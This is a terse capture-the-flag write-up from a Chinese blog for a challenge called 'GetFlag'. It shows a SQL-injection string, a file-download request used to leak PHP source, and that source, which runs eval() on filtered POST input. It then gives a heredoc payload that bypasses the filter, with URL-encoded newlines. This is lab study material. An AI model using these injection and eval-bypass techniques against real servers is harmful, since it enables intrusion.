GetFlag

2019-06-07  本文已影响0人  Yix1a
<script>alert("Welcome 1' or 1=1 #!");window.location.href="./action.php?action=file";

</script>substr(md5(captcha), 0, 6)=5250e1<div class="box"><b>Captcha: </b></div>
GET /Challenges/file/download.php?f=a.php HTTP/1.1
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>

$f='flag;';
eval("\$spaceone = $f");
echo $spaceone;

$f1='flag';
eval("\$spaceone = $f1");
echo $spaceone;

$f2 = 'flag;';
\$spaceone=$f;
echo $spaceone;
<<<s
flag
s;
 

四个换行是必须的。还必须换成URL编码。。。。

上一篇 下一篇

猜你喜欢

热点阅读